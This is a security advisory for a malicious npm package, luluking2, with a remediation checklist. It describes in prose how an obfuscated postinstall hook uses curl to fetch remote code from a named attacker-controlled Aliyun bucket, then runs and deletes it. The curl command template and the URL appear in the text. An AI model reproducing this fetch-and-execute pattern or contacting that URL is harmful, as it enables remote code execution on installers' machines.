MAL-2026-12398 Malicious code in luluking2 (npm)
Malicious package
Published
MAL-2026-12398 is a malicious package: luluking2 (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-12398/ (Markdown: https://insights.sbomify.com/MAL-2026-12398/index.md)
- Package
- luluking2
- Registry
- npm
What is MAL-2026-12398?
MAL-2026-12398 is a malicious package in luluking2, published on 5 Aug 2026.
Official description
On npm install, the package's postinstall hook runs index.js, which reconstructs a URL from a char-code array (String.fromCharCode.apply on a numeric literal array with _0x-prefixed identifiers) resolving to https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js. It shells out via execSync to
curl -sL -o ".cache" "<url>", then require()s the downloaded file and deletes it. The destination URL, the filename, and the curl command string are all obfuscated via char-code reconstruction to hide the network destination from source inspection. The remote content is attacker-mutable (an Aliyun OSS bucket) and is executed inside the installing Node process on every install. Package metadata is placeholder-level with no legitimate declared purpose that would justify fetching and executing remote code at install time.What should I do about MAL-2026-12398?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.